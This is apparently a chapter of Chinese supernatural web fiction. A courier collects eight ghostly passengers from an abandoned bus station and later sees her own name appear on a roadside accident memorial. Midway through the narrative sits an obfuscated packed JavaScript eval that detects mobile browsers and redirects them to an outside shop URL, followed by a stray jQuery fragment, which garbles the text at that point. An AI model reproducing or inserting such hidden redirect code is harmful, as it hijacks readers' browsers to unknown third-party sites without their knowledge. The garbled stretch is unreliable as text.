姜迟没有立刻出门。
她把碗筷洗了，屋子收拾了，给手机充上电，然后坐在沙发上，把那碗凉掉的面吃完。
做完这些，她才开始琢磨这单货。
一车人。
人当货拉，她干了四年物流，头一回听说。
她翻出手机，查东岭老汽车站。
地图上有这个地方，在城东二十多公里，早废弃了，十年前城乡客运线撤销，车站就关了。
卫星图上还能看见站房，一个长条形的平房，门口一片空地，空地前面半截围墙。
白天去看一趟。她心里定了主意，先踩点，再接货。
早上八点，她开车出门。天气正常，太阳有点晒，路上堵车，喇叭声此起彼伏。
一切都正常得让人恍惚。要不是手机桌面上那个删不掉的图标，她真要以为前晚的事是梦。
开了五十分钟，到了。
东岭老汽车站在公路边上，院墙塌了半截，铁门锈着，挂着一条褪色的横幅，字迹还能认出来：安全出行，平安回家。
她把车停在路边，从缺口走了进去。
站房里一股霉味。售票窗口的玻璃碎了，候车厅的长椅东倒西歪，地上散落着旧票根和碎纸。
墙上的班次表还贴着，字都黄了，最后一班车的时间停在十年前的某个傍晚。
姜迟在站里转了一圈。
没什么特别的。
就是个废弃车站，阴是阴了点，大白天nothing可怕的。
她走到院子中间，空地很大，能停下十几辆中巴，地面是水泥的，裂缝里长着草。
裂缝。
她蹲下来看。
水泥地的裂缝很怪，横平竖直，像是什么东西从底下把地面划开的。
其中一道裂缝里，卡着个东西。
她捡起来，是一张车票。
老式的硬纸板票，蓝底，印着字：东岭至雾村，票价三元。
日期那一栏是空白的，没填。
雾村。
她捏着那张票，站了一会儿。
回去的路上，赵广军打来电话。
"妹子，我出事了。"他的声音发紧，"我的第二单下来了，今晚接货，装的什么你知道吗？一车鸡。从什么仙桥村拉到高速口。我一听拉活禽就头大，万一死路上，货损算我的。"
"你接单了就跑。"姜迟说，"按流程来，别乱停。"
"我不是说这个。"赵广军压低声音，"我在仙桥村那边的货运群里问了句有没有同行的，有个不认识的人加我，跟我说，让我今晚别去东岭方向，说那边今晚有大单，乱得很，好几伙人都盯着。"
姜迟的手指在方向盘上敲了敲。
"他还说什么？"
"他说，接人的单，接的不是人。"赵广军的声音更低了，"妹子，你的单，是不是就是接人？"
"嗯。"
电话那头沉默了几秒。
"那我明白了。那人还说了句怪话，他说，这种单发布出来，谁都能看见装货地，去晚了连汤都没有。我寻思这不是抢单吗？你见过货运平台把大单挂出来让人抢的？"
"没有。"姜迟说，"正常平台都派单。"
"所以这是个坑啊。"赵广军急了，"谁抢着算谁的，抢不着的人能干看着？路上给你使个坏，你哭都没地方哭去。妹子，要不这样，我送完鸡就往你那边靠，咱俩离近点，有个照应。"
"行。"姜迟说，"你把那人微信推我。"
挂了电话，微信来了。她加了那个陌生人，对方没通过。头像是灰色的，昵称是一串乱码。
下午她睡了一觉，养精神。晚上十点，她出门，车加满油，检查了一遍车况，副驾上放了扳手，水杯，充电宝。
十一点半，她到了东岭老汽车站。
白天来过的废弃车站，这会不一样了。
她还没靠近，导航就亮了，机械女声说："前方进入装货区。请直行。"
那条她白天走过的公路，从某个路灯杆开始变了。
灯还是那些灯，可是灯光变成了昏黄色，路两边出现了雾，雾不浓，贴着地皮流。
她开进去，回头看，身后的路灯一根一根灭掉。
穿过雾，老汽车站出现在车灯里。
站房亮着灯。十年没人住的地方，这会灯火通明，售票窗口亮着，候车厅亮着，站房屋顶的红字重新亮了：东岭汽车站。
院子里停着车。
不止一辆。
一辆金杯面包车，一辆皮卡，一辆小货车，加上她的车，四辆。
院子里还有七八个人，三三两两站在车边，抽烟，说话。
姜迟把车开进去，停在最边上，没有下车。
她注意到，这些人的挡风玻璃下面，都压着黑皮本子。
全是行者。
备注栏那句话浮上来。他们比你先知道这单货。她懂了，这单不是派给她一个人的，是挂出来的，先到先得，来的人全是竞争者。
她刚停稳，就有人过来了。
一个四十多岁的男人，平头，皮夹克，敲了敲她的车窗。姜迟降下一条缝。
"妹子，也是来接这单的？"平头男问。
"嗯。"
"哪边人？跑这线路多久了？"
"新手。"姜迟说，"刚送完一单。"
平头男笑了一声："新手敢来接人单？胆儿挺肥。"他朝候车厅努努嘴，"人都在里头坐着呢，八个。先到先得，我劝你挑快点，后头的都是烂账。"
"什么烂账？"
"问那么多干嘛。"平头男眼睛往她车里瞟，瞟见了副驾上的扳手，笑得更开了，"行，有防备心是好事。待会儿路上见了，各凭本事。"
他走了。姜迟坐在车里，看着那七八个人。
这伙人互相都认识的样子，递烟，拍肩膀，聊天。她一个面生的，没人搭理。
手机震动。
【装货即将开始。请前往候车厅核对名单。】
【名单共八人。核对无误后发车。】
【提示：名单之外的人，不允许上车。】
姜迟下了车，朝候车厅走去。
候车厅跟白天完全是两个地方。灯是亮的，长椅是整齐的，地上干干净净。
八个人坐在长椅上，男女老少都有，安安静静地坐着，没人说话，也没人看她。
她站在门口，把八个人挨个看了一遍。
一个老太太，抱着一个布兜。
一个中年男人，穿着工装。
一对年轻夫妻，女的怀里抱着个孩子。
一个戴眼镜的学生模样的男孩。
一个拄拐的老头。
一个穿红裙子的女人。
一个低着头玩手机的男人。
八个人，跟名单对得上。
"接你们的车在外面。"姜迟说，"跟我走吧。"
八个人同时抬起头。
那个动作齐得吓人，像八个人共用一根线。
他们看着她，没人动，也没人说话。
"上车吧。"姜迟又说了一遍。
老太太先站了起来，抱着布兜往外走。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947439|214093||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
其他人一个接一个站起来，排成一列，跟着老太太往外走。
姜迟走在最后，她数了一遍，八个。
出了候车厅，院子里那些行者的眼神全都粘了过来。
平头男靠在金杯车边上，冲她吹了声口哨："可以啊妹子，手快。"
姜迟没理他，领人上车。
她的车厢是封闭的厢货，她本来还琢磨人坐哪，走到车尾一看，车厢变了。
原来空荡荡的厢体里，多了一排座椅。
两排，面对面，一共八个座，座位上还系着安全带。
座椅的样式很旧，绿皮的，跟中巴车一个样。
八个人依次上车，按顺序坐下。
老太太坐第一个，红裙子女人坐最后。
姜迟上车，关门，刚要去驾驶室，那个老太太拉住了她的衣角。
"闺女。"老太太仰着脸问，"这车，到终点站吗？"
姜迟愣了一下："你们去哪，我就送到哪。"
"终点站。"老太太说，"我们都去终点站。"
"地址呢？单子上有。"
老太太不答了，松开手，抱着布兜坐好。
姜迟下了车，绕到驾驶室。上车前她又回头看了一眼，院子里那些行者的车，一辆都没动。
金杯车的平头男冲她扬了扬下巴，喊了一嗓子："妹子，雨要下大了，路上慢点开啊。"
他话音刚落，天上就砸下来一滴水。
紧接着，第二滴，第三滴，雨点噼里啪啦砸在车顶，几秒钟就密得看不见前路了。
姜迟关上车门，发动，挂挡。车灯照出去，两道白柱子在雨里撑出十来米的视野，再往前就是一片灰白。
她按导航的指示开出站，上了那条来路。
雨刮器开到最大，刮过去，一秒，玻璃上又糊满水。这雨邪门。
开出几公里，路两边的灯没了，就剩车灯照着的这一小块。
乘客很安静。车厢和驾驶室之间有隔断，她听不见后面的声音，可是她知道那八个人在，她能感觉到车厢微微往下沉的那个分量。
又开了几公里，前方路边出现了个东西。
一块碑。
立在路肩上的旧石碑，半人高，碑面被雨冲得发亮。车灯扫过去，碑上的字一个一个跳出来。
前方事故多发，谨慎驾驶。
下面是一些小字，一行一行，全是名字。
这种碑她跑长途见过，事故多发路段立的，有的是警示，有的是纪念。
可这碑上的名字也太多了，密密麻麻，从上到下，她隔着雨看不全。
鬼使神差地，她把车靠边，停了。
雨刮器摆着，她盯着那块碑看。雨里，碑上的名字一行一行，像活的，往下挪。
新的名字从碑的顶上往下出，老的往底下沉。
最上面新出的那个名字，她看得清清楚楚。
姜迟。
两个字，红漆描着，新鲜得像是刚描上去的。
手机在口袋里震。
【前方事故多发路段。提示：本路段每通过一次，产生一个新的死者。】
【当前已产生死者：2。】
【名单更新中。】
姜迟盯着那个数字，从2跳到了3。
车厢里，忽然响起了一声婴儿的啼哭。
她猛地回头。
名单上那对年轻夫妻的孩子，这一路从来没哭过。而现在，哭声隔着隔断，清清楚楚地传进驾驶室，哭声里，还夹着那老太太的念叨。
终点站，终点站，我们都要去终点站。